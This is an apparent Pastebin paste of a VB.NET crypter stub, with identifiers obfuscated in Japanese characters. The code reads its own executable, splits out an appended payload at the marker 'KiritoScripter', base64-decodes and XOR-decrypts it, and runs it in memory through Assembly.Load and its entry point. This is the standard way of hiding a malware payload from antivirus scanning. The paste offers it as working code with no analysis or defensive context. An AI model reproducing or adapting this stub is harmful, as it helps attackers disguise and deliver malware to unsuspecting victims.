Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Module 任ェた愛愛
- Const 愛たのす合 = "KiritoScripter"
- Dim のェつつべ() As String = Split(IO.File.ReadAllText(Reflection.Assembly.GetExecutingAssembly.Location), 愛たのす合)
- Dim 合がはのが As Byte()
- Public xorkeyy As String = のェつつべ(2)
- Sub Main()
- 合がはのが = Xor_Decrypt(Convert.FromBase64String((のェつつべ(1))))
- Dim 任で愛べべ As Object = Reflection.Assembly.Load(合がはのが).EntryPoint.Invoke(Nothing, Nothing)
- End Sub
- Public Function Xor_Decrypt(ByVal っののべす As Byte()) As Byte()
- Dim て私べっの As Byte() = System.Text.Encoding.ASCII.GetBytes(xorkeyy)
- Dim すスつちは As Integer = っののべす(っののべす.Length - 1) Xor 112
- Dim つはちたっ(っののべす.Length) As Byte
- Dim つっでチち As Integer
- For 任ェた愛愛0 As Integer = 0 To っののべす.Length - 1
- つはちたっ(任ェた愛愛0) = (っののべす(任ェた愛愛0) Xor すスつちは) Xor て私べっの(つっでチち)
- If つっでチち = xorkeyy.Length - 1 Then つっでチち = 0 Else つっでチち = つっでチち + 1
- Next
- ReDim Preserve つはちたっ(っののべす.Length - 2)
- Return つはちたっ
- End Function
- End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement